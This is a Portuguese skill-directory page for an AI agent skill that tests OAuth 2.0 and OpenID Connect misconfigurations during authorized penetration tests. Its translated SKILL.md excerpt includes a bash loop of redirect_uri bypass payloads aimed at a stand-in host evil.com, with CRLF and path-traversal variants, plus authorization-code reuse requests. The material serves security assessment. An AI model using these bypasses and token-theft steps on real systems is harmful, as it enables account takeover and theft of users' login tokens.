Pular para o conteúdo
Skillpedia
Diversos35 mil · #5755

exploiting-oauth-misconfiguration

Faz seu agente identificar e explorar configurações incorretas de OAuth 2.0 e OpenID Connect.

O que ela faz

Esta ferramenta ajuda a encontrar e explorar falhas de segurança em sistemas de login que usam OAuth 2.0 ou OpenID Connect. Ela verifica se é possível redirecionar o usuário para um site malicioso ou roubar informações de login.

Quando usar

  • ✓Ao testar a segurança de sites que usam 'Login com Google/Facebook'.
  • ✓Quando se avalia como diferentes aplicativos se conectam de forma segura.
  • ✓Para verificar se o sistema de login do seu próprio aplicativo é seguro contra ataques.

Exemplo do que pedir para a IA

“Verifique se o login com Google no meu site pode ser enganado para roubar tokens de acesso.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-oauth-misconfiguration/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-oauth-misconfiguration/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta simula ataques comuns, como tentar enganar o redirecionamento de login ou capturar informações sensíveis que deveriam ser secretas.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-oauth-misconfiguration

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-oauth-misconfiguration/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Explorando Configurações Incorretas de OAuth

Quando Usar

  • Durante testes de penetração autorizados quando o aplicativo usa OAuth 2.0 ou OpenID Connect para autenticação
  • Ao avaliar implementações de login social "Entrar com Google/Facebook/GitHub"
  • Para testar fluxos de login único (SSO) entre aplicativos
  • Ao avaliar a autorização de API usando tokens de portador OAuth
  • Durante avaliações de segurança de aplicativos que atuam como provedores ou consumidores OAuth

Pré-requisitos

  • Autorização: Acordo escrito de teste de penetração cobrindo fluxos OAuth/SSO
  • Burp Suite Professional: Para interceptar fluxos de redirecionamento OAuth
  • Navegador com DevTools: Para monitorar cadeias de redirecionamento e vazamento de tokens
  • Múltiplas contas de teste: Tanto no provedor OAuth quanto no aplicativo alvo
  • curl: Para testes manuais de fluxo OAuth
  • Servidor controlado pelo atacante: Para receber tokens/códigos redirecionados

Fluxo de Trabalho

Etapa 1: Mapear o Fluxo e a Configuração OAuth

Identifique o tipo de concessão OAuth, endpoints e configuração.

# Discover OAuth/OIDC configuration endpoints
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .

# Key endpoints to identify:
# - Authorization endpoint: /oauth/authorize
# - Token endpoint: /oauth/token
# - UserInfo endpoint: /oauth/userinfo
# - JWKS endpoint: /oauth/certs

# Capture the authorization request in Burp
# Typical authorization code flow:
# GET /oauth/authorize?
#   response_type=code&
#   client_id=CLIENT_ID&
#   redirect_uri=https://app.example.com/callback&
#   scope=openid profile email&
#   state=RANDOM_STATE

# Identify the grant type:
# - Authorization Code: response_type=code
# - Implicit: response_type=token
# - Hybrid: response_type=code+token

# Check for PKCE parameters:
# - code_challenge=...
# - code_challenge_method=S256

Etapa 2: Testar a Manipulação da URI de Redirecionamento

Tente redirecionar o código de autorização ou token para um domínio controlado pelo atacante.

# Test open redirect via redirect_uri
# Original: redirect_uri=https://app.example.com/callback
# Attempt various bypasses:

BYPASSES=(
  "https://evil.com"
  "https://app.example.com.evil.com/callback"
  "https://app.example.com@evil.com/callback"
  "https://app.example.com/callback/../../../evil.com"
  "https://evil.com/?.app.example.com"
  "https://evil.com#.app.example.com"
  "https://app.example.com/callback?next=https://evil.com"
  "https://APP.EXAMPLE.COM/callback"
  "https://app.example.com/callback%0d%0aLocation:https://evil.com"
  "https://app.example.com/CALLBACK"
  "http://app.example.com/callback"
  "https://app.example.com/callback/../../other-path"
)

for uri in "${BYPASSES[@]}"; do
  echo -n "Testing: $uri -> "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123")
  echo "$status"
done

# If redirect_uri validation is path-based, try path traversal
# redirect_uri=https://app.example.com/callback/../attacker-controlled-path

# If subdomain matching, try subdomain takeover + redirect
# redirect_uri=https://abandoned-subdomain.example.com/

Etapa 3: Testar Roubo de Código de Autorização e Token

Explore vetores de vazamento para roubar tokens e códigos OAuth.

# Testar vazamento de token via cabeçalho Referer
# Se o fluxo implícito retornar o token no fragmento da URL:
# https://app.example.com/callback#access_token=TOKEN
# E a página de callback carregar recursos externos,
# o cabeçalho Referer pode vazar a URL com o token

# Testar vazamento de código de autorização via Referer
# Após receber o código no callback, verifique se:
# 1. A página carrega imagens/scripts externos
# 2. A página tem links para sites externos
# Burp: Verifique o Histórico do Proxy em busca de cabeçalhos Referer contendo "code="

# Testar reutilização de código de autorização
CODE="codigo_de_autorizacao_capturado"
# Primeira utilização
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=ID_APP&client_secret=SEGREDO_APP"

# Segunda utilização (deve falhar, mas pode não falhar)
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=ID_APP&client_secret=SEGREDO_APP"


…
Perguntas frequentes

O que é OAuth 2.0/OpenID Connect?

São padrões que permitem que você use um serviço (como Google) para fazer login em outro site sem precisar criar uma nova senha. É o 'Login com Google' que você vê em muitos sites.

O que é um 'redirect URI manipulation'?

É uma tentativa de enganar o sistema para que, em vez de redirecionar o usuário de volta para o site original após o login, ele seja enviado para um site controlado pelo atacante.

Preciso de permissão para usar esta ferramenta?

Sim, é crucial ter autorização por escrito antes de testar qualquer sistema. Usar isso sem permissão é ilegal.

Detalhes

Descrição original do autor

Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations including redirect URI manipulation, token leakage, and authorization code theft during security assessments.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5755
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas